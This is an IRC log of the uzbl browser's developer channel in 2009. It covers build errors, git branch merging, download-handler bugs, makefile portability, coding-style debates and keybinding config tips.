17:23 < algator> (uzbl:6195): GLib-CRITICAL **: g_strreverse: assertion `string != NULL' failed
17:23 < algator> 25d6c9b2-3506-d665-1347dc27-31631db2 is dumped
17:23 < Frots> maybe you could supply some additional information algator
17:23 < _19LIONZ_> algator: what branch ?
17:23 < algator> Arch Linux
17:24 < _19LIONZ_> algator: from AUR ?
17:24 < algator> I think I pacman'd it. It was a while back when it first came out.
17:24 < Frots> uzbl-git or uzbl-experimental
17:24 < Frots> algator: please update
17:24 < _19LIONZ_> algator: uzbl is not in the repos
17:24 < Frots> this project is very yound, it changes frequently
17:25 < algator> So, I need to get it again from AUR?
17:25 < Frots> yesd
17:25 < algator> thanks, I'll try and post here if any bugs
17:25 < Frots> ok goodluck
17:26 < _19LIONZ_> algator: try the experimental PKGBUILD
17:26 < Frots> atm they both work just fine with me btw
17:32 < rson> aligator, just a reminder, uzbl still doesnt even have an alpha release yet, so you're going to have to update it every so often if you want more stable code and/or more features :)
17:32 < algator> gotcha
17:32 < algator> You guys made the Hacker News front page. May want to go and vote up.
17:32 < psychon> am I stupid or is the download_handler variable broken in experimental? (using the shipped example config, still doesnt work)
17:33 < Frots> what does it say in your console?
17:33 < Frots> any errors?
17:33 < psychon> for me? nope
17:33 < Frots> thats strange
17:33 < psychon> the download_cb() isn't called at all (I added some printf)
17:34 < Frots> every type of download links? or just some
17:34 < psychon> give me some known working and I'll try ;)
17:34 < psychon> I havent found any that work so far
17:34 < Frots> wow i see that it doesn't seem to work here either
17:35 < Frots> the whole script isn't understood so i think i need to change my config
17:35 < psychon> did webkit rename that callback's name or sth? :/
17:35 < Frots> well in my terminal i'm ready tons of these:
17:36 < Frots> command "/home/frits/.uzbl/scripts/download.sh" not understood. ignoring
17:36 < Frots> so i think that the config changed ^^
17:36 < psychon> hm, I dont get anything at all, even with -v
17:36 < psychon> you may be missing a "spawn"?
17:36 < Frots> yes i think so :p
17:41 < psychon> Frots: which webkit version are you using?
17:41 < Frots> i think git
17:41 < Frots> but i just reproduced your problem ;)
17:41 < Frots> Before i was using the master branch
17:42 < Frots> and it had a set download_handler or something variable
17:42 < Frots> I can't find that one in the config
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17:57 < Zaba> is uzblctrl supposed to segfault upon execution?
18:00 < _19LIONZ_> Zaba: the last time I checked , uzblctrl is not being used/developed anymore
18:00 < psychon> is anybody here good with g_regex_new?
18:01 < psychon> I need an ungreedy '+' and a greedy one in the same regex :/
18:02 < psychon> hm, never mind
18:02 < Frots> i won't ^^
18:02 < psychon> fixed another bug :)
18:03 < Zaba> _19LIONZ_, aha.
18:03 < Zaba> _19LIONZ_, so why's it still in the repo?
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18:19 < Zaba> hm.
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18:23 < Zaba> Is it just me, or does the bugtracker (uzbl.org/bugs) list quite some bugs that seem to be resolved but are not marked as such?
18:23 < rson> you guys have also hit reddit, btw
18:25 < rob|> re
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18:28 < rob|> those sites suck, or rather most of the people commenting there..
18:31 < psychon> Frots: I think I got that download problem figured out
18:31 < Frots> psychon: tell me all about it :D
18:32 < psychon> https://bugs.webkit.org/show_bug.cgi?id=25987
18:32 < psychon> google is my friend :)
18:32 < psychon> already implemented a patch
18:32 < psychon> and it kind-of-works
18:32 < psychon> (download callback is called again, but it (tries to) download the page where the link is shown, not the actual download)
18:32 < Frots> ok nice :D
18:33 < psychon> committing & pushing atm, Dieterbe said he'd take a look at my patches in a couple of hours
18:33 < Frots> im off to eat don't hestita to continue the story ;)
18:33 < Frots> hestitate
18:33 < psychon> that's the whole story
18:33 < Frots> ok then i'll read it when i get back :D
18:34 < rob|> psychon: where is your repo?
18:34 < rob|> psychon: also http://webkitgtk.org/reference/webkitgtk-WebKitDownload.html
18:34 < psychon> rob|: read the mailing list
18:34 < rob|> is that one accessible over http, too?
18:34 < psychon> well, that WebKitDownload thing doesnt help if you try to use an external script like uzbl does
18:34 < psychon> yeah
18:35 < psychon> btw your (=uzbl's devs) coding style is weird :(
18:36 < rob|> psychon: sure it does, the download handler gives you a GObject *download, which just happens to be the one mentioned in the docs
18:37 < psychon> aaaahhh, now I get it
18:37 < psychon> I just saw 'get_elapsed_time()' and friends and thought "doesn't apply here"
18:38 < psychon> gotta eat sth, then I'll look into that, thanks
18:38 < Frots> ok i have to go now
18:38 < psychon> rob|: http://git.znc.in/?p=psychon/uzbl.git;a=summary
18:38 < Frots> thanks in advance for fixxing the stuff
18:38 < psychon> both clone urls are mentions near "URL"
18:38 < psychon> bbl
18:38 < rob|> ok
18:38 < Frots> you people are really great ;)
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18:39 < rob|> hmm, dieter you should really merge from duclare and me, people start working on old code :(
18:40 < Dieterbe> will do when home
18:41 < Zaba> my origin url is git://github.com/Dieterbe/uzbl.git, is that reasonable?
18:41 < Zaba> should I perhaps be leeching, er, pulling from someone else?
18:41 < Dieterbe> it's fine to have me as origin. you can still pull from the others
18:41 < Dieterbe> git remote add -f <nickname> http://otherperson.git
18:42 < Zaba> right.
18:42 < Dieterbe> git merge <nickname>/branchname
18:42 < rob|> Zaba: http://github.com/robm/uzbl/tree/master  <-- my branch with lots of new bleeding edge stuff
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18:45 < sECuRE> rob|: hm, maybe you want to add libsoup-2.4 to both pkg-config calls
18:45 < sECuRE> grabbing some food, brb
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18:47 < Zaba> rob|, does it eventually get merged into other people's branches?
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18:52 < rob|> Zaba: yes, it will get merged into dieter's branch#
18:52 < Zaba> okay
18:53 < rob|> sECuRE: currently i'm concentrating on files ending in .c and .h ;)
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18:57 < psychon> rob|: what are the odds of a conflict between you and me?
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18:59 < psychon> or what did you mean with "people start working on old code"? (hey, I almost patches stuff in master)
19:00 < psychon> oh, you already fixed one of "my" compiler warning
19:00 < psychon> *s
19:04 < rob|> psychon: dieter's branch is currently way behind duclare's and mine, so i'd suggest to check was has been done already before duplicating work
19:06 < psychon> well, I'll now investigate why this is downloading the wrong URI, anyone did that already? ;)
19:07 < psychon> oh... PEBKAC :(
19:11  * Dieterbe driving home. see you soon
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19:22 < rob|> psychon: what's so weird about the coding style?
19:23 < psychon> dunno, indent with spaces, a space between a function name and the '('...
19:23 < psychon> it's just that every project I come across uses something else :(
19:23 < DuClare> Indent with spaces is the only right way
19:23 < Zaba> wrong
19:23 < Zaba> indent with tabs, align with spaces, everything else is wrong, resistance is futile
19:24 < rob|> yeah, i also don't like the tabs in 'foo (...)'
19:24 < Zaba> er, not aligh, but rather, adjust
19:24 < DuClare> Tabs are stupid, they're always of the wrong length
19:24 < Zaba> any whitespace that's not indent should be spaces
19:24 < DuClare> People use different editors, different editors, different web viewers, different pastebins
19:24 < Zaba> indent should be tabs
19:24 < Zaba> rob|, using tabs there would be stupid
19:25 < psychon> hm, ok, I never said anything </war>
19:25 < rob|> Zaba: i'm talking about not using any whitespace there
19:25 < rob|> though, actually i don't care too much. indent is there to help ;)
19:26 < sECuRE> :set expandtab, problem gone
19:26 < psychon> :set sts=4 ts=4 et
19:33 < M2tias> 20°28'41" <@n2j3> "Uzbl follows the UNIX philosophy - "Write programs that do one thing and do it well. Write programs to  work together. Write programs to handle text streams, because that is a universal interface.""
19:33 < M2tias> 20°28'46" <@n2j3> WHAT A LOAD OF BOLLOCKS
19:33 < M2tias> :D
19:34 < Zaba> M2tias, some people just don't get it, do they
19:35 < Zaba> well, they have lots of browsers that suit them well.
19:35 < mxf> psychon, oh, thanks. never saw 'sts' before. *adds to modeline*
19:35 < rob|> well, most people write stupid stuff before even having a look at the things they write about..
19:36 < Zaba> rob|, not just having a look... Before understanding what they're reading.
19:38 < rob|> sadly..
19:38 < Zaba> What I'm talking about is, one is not necessarily a complete moron if they misunderstand or fail to understand the Unix philosophy.  But one has to be a complete moron not to try to understand it.
19:39 < rob|> hehe, true words
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19:41 < rob|> @peak
19:41 < dev_null> rob|: gwoo set a record of 69 people in #uzbl on May 26, 2009 at 04:46 PM CET. You'll need 2 more people to break the peak.
19:41 < gwoo> woo hoo!
19:41 < grourk> does uzbl work on os x?
19:42 < rob|> grourk: if you're using X11 and got all requirements it will probably work
19:44 < andre_pl> uzbl sounds like exactly what I'm looking for, for a personal web-based media center I'm working on.. I have a question though, is it possible to have it 'take over' clicked links? this is hard to explain, but in most browsers clicking a link to a video file tries to do all kinds of crazy plugin stuff, when what I really want to do is catch that url and just pass the url itself to an external program, not even let the
19:44 < Zaba> andre_pl, it got cut on 'not even let the'
19:44 < andre_pl> sorry. not even let the browser attempt to open the link
19:45 < rob|> andre_pl: not much work has been done on these kind of handlers, but yes it is possible and we will look into deplyoing an easy to use interface for such things
19:45 < andre_pl> maybe some way to use a css-style selector, to send specific links to specific external programs, or even simpler might be a way to hook calllbacks up to it
19:46 < andre_pl> pass every click to a series of callbacks until one of them accepts it?
19:46 < rob|> what's wrong with mime types?
19:46 < DuClare> This place is flooding, damnit
19:46 < andre_pl> rob|: i can't say whether the problem is with mime-types, or the way most browsers handle them... but try to click on a link directly to a video file un firefox for exmaple, and have it execute 'mplayer http://whatever.com/myvid.mp4' its nigh impossible
19:47 < andre_pl> mozplugger comes close, but still sucks
19:47 < Zaba> Sleepy_Coder, you're here too?
19:47 < rob|> DuClare: blame reddit ;)
19:47 < andre_pl> haha, yeah, thats where i came from, sorry :)
19:48 < rob|> andre_pl: just kidding :p
19:48 < Sleepy_Coder> Zaba: mebe. :p
19:48 < Zaba> Sleepy_Coder, you were here before me.  Damn.
19:48 < Sleepy_Coder> Was here before pyschon too... :3
19:48 < DuClare> Zaba, Yes, old bugs, which I think should've never been reported.  It is/was imho too early as things are changing day by day ..
19:48 < Sleepy_Coder> This makes me awesome-er...?
19:49 < Zaba> Sleepy_Coder, no, since you've mentioned it.
19:49 < Sleepy_Coder> :D
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19:55  * DuClare hugs tranquilite 
19:55 < tranquilite> I arrive
19:56 < andre_pl> rob|: I think the best way to explain my point is that a program such as totem-mozilla, or mozilla-mplayerplugin, shouldn't need to exist.  the browser should be able to use /usr/bin/mplayer, or /usr/bin/vlc, or ~/my_awesome_handler.sh, but the fact that so many of these plugins exist for all the other browsers seems to be evidence that something is fundamentally broken
19:57  * tranquilite hugs DuClare
19:58 < rob|> andre_pl: so you'd suggest to handle certain files/mime types like a download and just pass the uri on to a user defined programm, right?
19:58 < psychon> ..which uzbl does, right? Oo
19:58 < rob|> exactly
19:59 < andre_pl> brilliant.
19:59 < DuClare> Not quite yet
19:59 < andre_pl> d'oh
19:59 < andre_pl> lol
19:59 < DuClare> Well
19:59 < DuClare> There's no mimetype checking and so you'll have to write a script which handles all uris
20:00 < andre_pl> in order to get the mimetype, the browser needs to at least initiate the download right? so thats part of the problem
20:00  * Zaba wonders what is the best way to implement something like `view page source'
20:00 < DuClare> andre_pl, And these only concern downloads for the time being
20:00 < Zaba> Should there be a script that downloads the URL again and launches an editor or something?
20:00 < DuClare> We don't have anything for embedded objects
20:00 < rob|> yeah, currently we hand everything to the download handler what cannot be displayed by webkit
20:01 < DuClare> Zaba, That's a one-line binding
20:01 < DuClare> rob|, Only what is explicitly requested to be downloaded
20:01 < psychon> andre_pl: webkit already initiates the download, I guess one could already find out the mime-type with some webkit api
20:01 < Zaba> DuClare, yes, but perhaps it's possible to avoid downloading the page again in some way I am not aware of.
20:01 < DuClare> If you "follow a link" to some download, it won't get passed to the dl handler
20:01 < DuClare> Well, didn't when I last used it
20:02 < DuClare> Zaba, Nope
20:02 < Zaba> okay.
20:03 < sscj> http://github.com/scj/uzbl/blob/5039fb8e90418df142131397af669f0232cb33fe
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20:10 < urnthr> * Zaba wonders what is the best way to implement something like `view page source'
20:11 < urnthr> pipe the HTML to the default text editor?
20:11 < Zaba> urnthr, I was more wondering about the ways of getting HTML.
20:12 < rson> can uzbl be used in a pipe? i thought not.  would be excellent if it were, uzbl -u example.tld | less
20:12 < urnthr> i'm sure there is a webkit interface for that
20:13  * urnthr needs to install uzbl :>
20:14 < rob|> rson: only the other way around, http://www.uzbl.org/wiki/html-mode - if you want a text mode browser use one
20:14 < rob|> or wget, curl, whatever
20:19 < sscj> rob|: it would be nice to be able to dump the DOM
20:19 < urnthr> yeah it doesn't make much sense to use uzbl | less
20:19 < urnthr> sscj, indeed, i'm forseeing a web developer script ;)
20:19 < sscj> what if you want to use js to transform a page?
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20:22 < DuClare> sscj, Then use javascript, not uzbl
20:23 < Zaba> is it possible to use webinspector with uzbl?
20:23 < DuClare> Yes
20:24 < Zaba> how?
20:24 < DuClare> Right click
20:24 < DuClare> Inspect element
20:25 < Zaba> DuClare, I don't seem to have that.
20:25 < DuClare> Perhaps you're running an old version :(
20:25 < Zaba> perhaps, I'm on Dieterbe's master.
20:25 < sscj> oooold
20:26 < DuClare> That is ooooold and buggy.
20:26 < Zaba> I will delay updating till tomorrow, though
20:26 < urnthr> should i be getting master/experimental?
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20:26 < psychon> I was told master is supposed to be more stable than experimental
20:27 < psychon> and now you are saying master is more buggy?
20:27 < DuClare> urnthr, Today you might want experimental, but tomorrow it could be that you're better off using master ;)
20:27 < Zaba> DuClare, so what should I do? Wait till master gets changes merged in?
20:27 < urnthr> word
20:27 < DuClare> psychon, Not sure whether it's "more" or not, but people have reported various bugs we've already fixed
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20:27 < urnthr> still trying to compile..
20:27 < DuClare> Zaba, It's up to you.  If you want to use webinspector now, you run experimental now
20:28 < Zaba> DuClare, or switch to master/experimental?
20:28 < DuClare> Oh, and not Dieterbe's experimental
20:28 < DuClare> Not until he merges from me or rob
20:28 < Zaba> and when does he?
20:28 < DuClare> He said he does when he gets home.
20:28 < Zaba> okay, so I can wait for tomorrow and sort it out then
20:28 < urnthr> i'm on xubuntu right now.. install libsoup2.4 and it installs under libsoup-2.4 instead of libsoup
20:28 < Zaba> I will probably want experimental either way
20:29 < Zaba> cause I use w3m for majority of my browsing anyway..
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20:31 -!- tob| is now known as rob___
20:31 < rob___> grr
20:31 < Zaba> DuClare, how do I checkout a branch I don't have locally?
20:31 < urnthr> i think the Makefile needs to be fixed for libsoup
20:31 < Dieterbe> hello ladies
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20:32 < tranquilite> Hello ^_^
20:32 < Zaba> I think the makefile should be fixed for $(PREFIX)/foo instead of $(DESTDIR)/usr/foo
20:32 < Dieterbe> it's merging time !
20:32 < Zaba> my two cents
20:32 < rson> oh no you di'int
20:32 < urnthr> hah ok. merge that shiz
20:32 < urnthr> and maybe my `make' will work
20:32 < Dieterbe> Zaba: yeah someone sent a patch for that to the ML afaik
20:32 < urnthr> it's gettin hung up on webkit now
20:33 < Zaba> Dieterbe, I hope it will get applied, because my ~/local gets crowded with different things preferring different directories ;p
20:33 < Dieterbe> rob___ / DuClare are there any known regressions in one of your trees? 
20:34 < DuClare> Yes, but I think it might be in your tree as well.  Maybe not
20:34 < DuClare> Sorting it out as we speak
20:34 < sscj> with my new link following script, all that is lacking is cookies and then I can switch to uzbl as my main browser \o/
20:34 < Dieterbe> DuClare: great
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20:37 < Dieterbe> Hi gwoo , you are cakephp Gwoo right?
20:38 < gwoo> yup :)
20:38 < gwoo> Dieterbe: you leading uzbl?
20:39 < psychon> Zaba: if you really care about that, I can give the makefile a try
20:39 < Dieterbe> gwoo: sort of. the problem is i'm supposed to be the leader but the other guys outrank me in C skills/insight ;)
20:39 < Zaba> psychon, I think I do..
20:39 < rson> Dieterbe: you are the organizer ;)
20:39 < Dieterbe> that is true :P
20:39 < DuClare> Aha, found it
20:39 < psychon> anybody cares if the makefile only works with gnu make?
20:39 < Zaba> psychon, I do!
20:40 < rson> i'm here for moral support
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20:40 < gwoo> Dieterbe: yeah same thing kinda happens for me on Cake :)
20:40 < Zaba> OTOH, I have no idea how to make it work with bsdmake
20:40 < Zaba> my BSD machine has no X and stuff.
20:40 < rson> i wish i had the motivation to help but i never feel like coding more after i get home
20:40 < Zaba> so I don't be able to test
20:40 < gwoo> Dieterbe: i was wondering if you guys were interested in hosting your project on http::thechaw.com
20:40 < urnthr> how do people here feel about autoconf/automake
20:40 < psychon> Zaba: oh noes :(
20:40 < Zaba> urnthr, it's crap
20:40 < gwoo> Dieterbe: http://thechaw.com
20:40 < urnthr> haha
20:40 < urnthr> what about some of the alternatives?
20:40 < Zaba> urnthr, no, really.  Useless and crap.
20:40 < Dieterbe> gwoo: oh. i thought you came here out of interest for uzbl :P
20:41 < urnthr> i can't remember, off the top of my head
20:41 < psychon> Dieterbe: btw I pushed some stuff since I sent that mail, so there are some new patches in that branch
20:41 < Zaba> Plain makefiles and package management for dependency checking.
20:41 < gwoo> Dieterbe: i did :)
20:41 < pjackson> Hey, here from Hacker News.
20:42 < Zaba> Dieterbe, how'd one switch to your experimental branch?
20:42 < gwoo> Dieterbe: hopefully i can get uzbl going on my osx box
20:42 < gwoo> Zaba: git checkout
20:42 < Zaba> git checkout *what*?
20:42 < Dieterbe> Zaba: git checkout dieter/experimental
20:42 < Dieterbe> Zaba: if 'dieter' is the name of your remote that points to my clone on github
20:42 < Zaba> ah.
20:43 < rob|> DuClare: got the font stuff fixed?
20:43 < Dieterbe> gwoo: most of the people contributing are control freaks who want to host their own stuff, so the github thing already got some complaints. and personally i think github > thechaw so.. sorry
20:43 < psychon> it's origin here..
20:43 < DuClare> rob|, Haha
20:43 < DuClare> rob|, Nice timing
20:44 < rob|> DuClare: ;)
20:44 < DuClare> rob|, Just git ^M on git push when you hilighted me. :>
20:44 < gwoo> Dieterbe: no prob. thanks for the opinion
20:44 < DuClare> s/git/hit/
20:44 < rob|> DuClare: hehe, i knew it ;)
20:45 < DuClare> Dieterbe, Okay, fixed, I'm not aware of any custom regression on my branch
20:46 < urnthr> http://github.com/Dieterbe/uzbl/network is cool :>
20:47 < DuClare> Uh, it's made in flash or something :V
20:49 < DuClare> I have a bind which enables plugins and reloads the pgae
20:49 < DuClare> page.
20:49 < DuClare> Another one that does the opposite.
20:49 < Dieterbe> DuClare: 
20:49 < Dieterbe> if (!uzbl.behave.status_format)
20:49 < Dieterbe> -        set_var_value("status_format", STATUS_DEFAULT);
20:49 < Dieterbe> -    if (!uzbl.behave.title_format_long)
20:49 < Dieterbe> why did you do it back like that?
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20:49 < Dieterbe> why not having that stuff in config.h?
20:49 < DuClare> Uhm?  Did I do that?
20:49 < Dieterbe> could have been rob| too
20:49 < DuClare> Perhaps nobody did
20:50 < DuClare> Perhaps we just didn't merge the change from you
20:51 < Dieterbe> no hold on..
20:51 < Dieterbe> my mistake. i was comparing bar instead of duc :P
20:51 < Dieterbe> duc looks good so far
20:51 < DuClare> I was getting confused, not seeing STATUS_DEFAULT in my file... :>
20:51 < DuClare> I thought somebody had messed up again
20:52 < Dieterbe> yeah. me :)
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20:55 < psychon> Zaba: I got a patch for you
20:56 < psychon> http://sprunge.us/IJQW?patch
20:56 < psychon> Zaba: it does a little more than what you asked for ;)
20:57 < rob|> psychon: looks good
20:57 < urnthr> would anyone recommend checking out the nightly webkit code or just use the version 1.0 in apt
20:57 < psychon> urnthr: the one from debian unstable works fine here
20:57 < psychon> rob|: what, are you serious?
20:58 < urnthr> my shit ain't compiling with the stuff from apt
20:58 < psychon> rob|: that makes the makefile not work on bsd make for sure, btw
20:58 < DuClare> Nightlies are always a good choice. :)
20:58 < DuClare> If something is broken, try again next day
20:58 < DuClare> Or live with it and embrace the bleeding edge that works
20:58 < urnthr> :/ this is the stable branch i'm trying to make
20:58 < rob|> psychon: oh, my bad
20:59 < psychon> rob|: and I doubt there is a way to make it work with bsd make
20:59 < psychon> automake gets around this by letting configure generate the final makefile which means it can remove the uncompatible stuff..
20:59 < rob|> urnthr: i'd suggest to wait a bit until dieter has merged all the stuff and get experimental
20:59 < urnthr> http://uranther.pastebin.com/m580c7dc8 my compile errors
20:59 < urnthr> k
21:00 < psychon> debian testing?
21:00 < urnthr> i'm on xubuntu, but yea
21:00 < psychon> oh, sorry, I assumed "apt == debian"
21:01 < psychon> works fine with libwebkit-dev 1.1.7-1 here, 1.0.1-4 doesnt work for me
21:01 < urnthr> i see
21:01 < urnthr> maybe i don't have my unstable sources uncommented
21:02 < rob|> so, now that we have so many people around i'd like to poll again. who does _NOT_ use a tiled WM in here?
21:02 < Grauwolf> <---
21:02 < urnthr> i don't even use linux as my main environment lol
21:03 < urnthr> running xubuntu under a VM
21:03 < psychon> rob|: awesome wm here
21:03 < sECuRE> rob|: it would be more representative if you’d also ask who uses one
21:03 < rob|> urnthr: well, but you certainly use a WM
21:03 < Grauwolf> i'm using pekwm
21:03 < Grauwolf> and sometimes musca
21:03 < urnthr> i haven't made the jump to tiling WMs yet
21:03 < rson> rob|: for the sake of an accurate representation, i DO use a tiler
21:03 < urnthr> been researching them, trying to pick which one i like
21:04 < psychon> I used to use fluxbox..
21:04 < DuClare> I used to use kwin, compiz, fluxbox, e17, ratpoison, openbox
21:04 < DuClare> Now I use xmonad.
21:05 < Grauwolf> i'm coming from tiling-wms but switched to areas http://deifl.modprobe.de/wiki/areawm/areawm-en
21:05 < sECuRE> i use i3 (see http://i3.zekjur.net
21:05 < rob|> sECuRE: and i3status?
21:05 < sECuRE> yep
21:05 < sECuRE> and i3lock ;) why do you ask?
21:06 < rob|> sECuRE: well, i'm the author of dzen2 ;)
21:06 < sECuRE> ah, nice to meet you. i’m the author of all the i3*-programs ;)
21:06 < DuClare> And I want to use dzen2 with uzbl ;>
21:06 < DuClare> (If you didn't read my ml post about what needs to be done, do read)
21:07 < rson> rob|: i thought that may be you, but i wasnt going to pry
21:07 < sECuRE> rob|: do you plan on releasing a version with dock-hints soon, so my users don’t need to build from svn?
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21:08 < sECuRE> 24h-disconnect?
21:08 < rob|_> damn it, this ISP sucks!
21:08 < rob|_> no, thunderstorm here and for some reason the connections breaks every couple of minutes :(
21:09 < urnthr> i'm familiar with fluxbox, and i believe there's a tiliing patch for it
21:14 < Dieterbe> updated my experimental @ github with latest duclare/rob stuff
21:15 < DuClare> Great.
21:15 < Dieterbe> note: i did not test it myself yet, but i trust DuClare and rob|_  enough :)
21:15 < rob|_> hehe, trust no one ;)
21:16 < rob|_> anyways, need to run. will be back in an hour or so
21:16 < DuClare> Enjoy the haste. o/
21:16 < rson> i'll be upgrading to experimental when i get home
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21:17 < rson> is there any reason for the insane ass spacing in the sample configs?
21:19 < DuClare> Comments between commands with no vertical whitespace look fugly, kinda :x
21:19 < DuClare> But I'm not sure if that's the reason
21:19 < Dieterbe> #define ugly ass
21:19 < rson> no i'm talking about the "bind     x = blah" stuff
21:19 < sscj> insane ass spacing is a reason by itself, obviously
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21:20 < DuClare> rson, I guess it's there to line up the equals signs
21:20 < DuClare> As for the preceding spaces..
21:20 < DuClare> Dunno
21:20 < psychon> rson: if Dieterbe gets to look at my patches you can use tabs in there, would that help?
21:21 < rson> psychon: oh i don't care either way, i just deleted it all down to one space everywhere, but i was curious to the reason why it was like that
21:21 < psychon> heh :)
21:21 < Dieterbe> psychon: you don't mean using tabs for alignment right? o_O
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21:24 < psychon> Dieterbe: nope, I dont, I'm just talking about making it possible to do so ;)
21:24 < psychon> because atm uzbl considers the tabs part of the variable name which is kinda hard to debug
21:24 < Dieterbe> psychon: tabs for alignment is *bad*
21:25 < psychon> heh, ok
21:25 < Deepspawn> Hello, I want to do a couple of  things of uzbl. First get the url I'm visiting in my status prompt so I can edit the url before going elsewhere
21:25 < DuClare> Deepspawn, 30 bind ^O         = sh 'echo "keycmd o$6" > $4'
21:26 < DuClare> Fix the keycmd to match your binds
21:26 < Deepspawn> DuClare, Thanks!
21:26 < Deepspawn> and the second is the F,f scripts from the sampleconfig, I want to bind another key to force the link to open in a new uzbl instance
21:28 < DuClare> Not doable
21:28 < DuClare> I'm not sure if one could make the javascript force a new window
21:29 < Deepspawn> umm maybe a "popup"
21:29 < Deepspawn> let me see
21:29 < DuClare> Give it a try
21:29 < Dieterbe> mxf: do you have a git tree somewhere? i could merge in your uzblcat script if you want
21:30 < DuClare> uzblcat sounds fun. :]
21:30 < Dieterbe> indeed :P
21:30 < darrob> so i tried to ask around a bit about the empty XDG_DATA_HOME variable in debian. i was told that there is no need to set it in debian and that i should add it in the script. i asked that because the bookmarks scripts wouldn't use my .local/share directory.
21:31 < DuClare> Are you using spawn?
21:31 < DuClare> Shouldn't they inherit the environment.. o_O
21:31 < DuClare> Oh
21:31 < DuClare> Empty, right
21:32 < DuClare> It's an environment variable and has nothing to do with debian as such
21:36 < sscj> DuClare> I'm not sure if one could make the javascript force a new window
21:37 < sscj> if you set the links target to "_blank", it will open a new window
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21:42 < github> uzbl: Dieter Plaetinck experimental SHA1-10c5302
21:42 < github> uzblcat script by mxf
21:42 < github> http://bit.ly/ktE7L
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21:42 < urnthr> wut
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21:47 < Deepspawn> DuClare it worked, like this Binding v_         : script window.open(document.links[%s].href,"uzbl new");
21:47 < Deepspawn> I don't know if the "uzbl new" part is required but it works for me
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21:49 < Deepspawn> And last is there a way to make the middle button to spawn a new uzbl instead of opening the link in the current?
21:50 < DuClare> Not yet
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21:51 < DuClare> Keyboard access is a priovity, and even that needs more work
21:52 < Dieterbe> DuClare / barrucadu . what did we conclude on "default settings" ? i thought we decided to strip "default binds" and keep default booleans/format strings etc.  but i seem to recall one of you guys had a pretty point about how we could keep default keepbinds and still keep everyone happy
21:52 < DuClare> rob|_, Are you (or somebody else) working on key combinations?  I could look into it unless somebody's on it already
21:52  * barrucadu returns from his post-burning lots of things shower
21:53 < Dieterbe> DuClare: how was the exam btw?
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21:53 < Deepspawn> DuClare, it's ok  I can wait. So far I'm satisfied
21:54 < DuClare> Dieterbe, I spent three hours writing non-stop.  Lots of writing, most of which went off topic I guess.
21:54 < DuClare> :x
21:54 < urnthr> webkit svn is huge
21:54 < barrucadu> Dieterbe: In my branch I made it not load default bindings if a config file is specified / found, but I'd rather there be a way to either disable it at compile time, and I think someone suggested ovewriting the default bindings should conflicting ones appear
21:54 < barrucadu> DuClare: Sounds... fun? <.>
21:54 < DuClare> barrucadu, Well, it's Education!
21:54 < DuClare> :>
21:55 < DuClare> Now I'll look for something to eat though. →
21:55 < barrucadu> :p
21:55  * barrucadu goes to see how much he has to merge
21:56 < Dieterbe> barrucadu: DuClare . right i think it was the "remove default keybinds on conflicts" that i was the good compromise i think
21:57 < DuClare> You code it, and wrap the defaults loading in #ifndef NODEFAULTS ;)
21:58 < Dieterbe> nah. i definitely don't want to use compile flags or command line args. either we find a way to make it uzbl by default _and_ not affect power users, or we don't do it at all
21:58 < _19LIONZ_> I joined the ML a little bit late . So I couldn't respond to the thread directly
21:59 < DuClare> Dieterbe, Sure
21:59 < _19LIONZ_> So here is my "Awesome idea"
21:59 < DuClare> Dieterbe, I take it you haven't looked into combinations yet?
21:59 < DuClare> How about an "Xmonad idea"?
22:00 < Dieterbe> lol
22:00 < Dieterbe> DuClare: what do you mean combinations?
22:00 < DuClare> Dieterbe, Ctrl+meta+foo
22:01 < DuClare> Dieterbe, Is ctrl + meta enough?  Of course these can be made customizable if somebody wants to use another modifier in their place
22:01 < _19LIONZ_> Is it so hard to detect the missing config file at runtime & prompt the user in a Tips&Tricks-like box to create a config . And maybe offer creating a sample config for the lazy ones
22:02 < Dieterbe> DuClare: i don't know what you mean. you want to introduce 2 modkey variables?
22:02 < DuClare> Dieterbe, I want modkeys usable.  Outside insert mode.  And more than just control characters.
22:03 < Dieterbe> _19LIONZ_: it is perfectly legal to run uzbl without a config file.  and "tips and tricks" boxes are very un-unixy :)
22:03 < Dieterbe> DuClare: well in principle you should be able to use any modifier key known to xorg (and hence, gtk)
22:04 < DuClare> Well, okay
22:04 < DuClare> Dieterbe, What did we decide wrt the default home page again? <,<
22:04 < DuClare> Discourage set uri?
22:05 < Dieterbe> yeah
22:05 < Dieterbe> discourage set uri through stdin
22:05 < Dieterbe> everything else is ok
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22:06 < _19LIONZ_> Dieterbe: my initial thought was echoing a message in the command line. But IIRC you didn't want uzbl to fail starting (as GUI) for the new user
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22:17 < github> uzbl: Sylvester Johansson experimental SHA1-5039fb8
22:17 < github> new linkfollow.js for a more vimperator-ish browsing experience
22:17 < github> http://bit.ly/10lqiB
22:17 < github> uzbl: Sylvester Johansson experimental SHA1-aa66355
22:17 < github> new formfiller script
22:18 < github> http://bit.ly/13gjua
22:18 < github> uzbl: Dieter Plaetinck experimental SHA1-9a5c778
22:18 < github> Merge commit 'gcj/master' into experimental
22:18 < github> http://bit.ly/ouPic
22:18 < github> uzbl: Dieter Plaetinck experimental SHA1-ebb4e2a
22:18 < github> no keybinds by default. they do more harm then good. see ML discussion http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-May/000004.html
22:18 < github> http://bit.ly/55dIu
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22:19 < DuClare> Dieterbe, To the default sb add a bold red message telling to load a proper config? ^^;
22:20 < DuClare> O, but the sb isn't visible
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22:31 < Dieterbe> sscj: your perl formfiller script doesn't do much for me
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22:38 < sscj> Dieterbe: it's not compatible with the bash version
22:39 < sscj> move your old form info file and run it again
22:41 < Deepspawn> Are cookies supported  in the experimental branch?
22:44 < Dieterbe> Deepspawn: not really
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22:44 < github> uzbl: Dieter Plaetinck experimental SHA1-cd8ae0f
22:44 < github> integrate sscj stuff
22:44 < github> http://bit.ly/16kbxS
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23:07 < rob|_> re
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23:09 < Dieterbe> heya robman
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23:14 < Dieterbe> http://www.uzbl.org/news.php?id=7
23:14 < xeno|stefan> good evening. can someone take a look over this? http://paste.debian.net/37184/
23:15 < M2tias> Dieterbe: \o/
23:15 < DuClare> Too old gtk xeno|stefan
23:15 < DuClare> IIRC
23:15 < Dieterbe> i'm going to sleep
23:15 < xeno|stefan> so which one i need? ;)
23:15 < Dieterbe> unless someone needs me. you have 3 minutes !
23:15 < M2tias> Dieterbe: good night
23:16 < xeno|stefan> 2.12.12-1 is installed
23:16 < DuClare> xeno|stefan, Mmm.. not sure what's the minimum.  Try 2.14. something?
23:16 < xeno|stefan> someone could make a note for this on the website :)
23:16 < xeno|stefan> ok, thank you
23:17 < DuClare> Aha it's been there since 2.14 according to the docs
23:17 < DuClare> Dieterbe!
23:17 < Dieterbe> hmz?
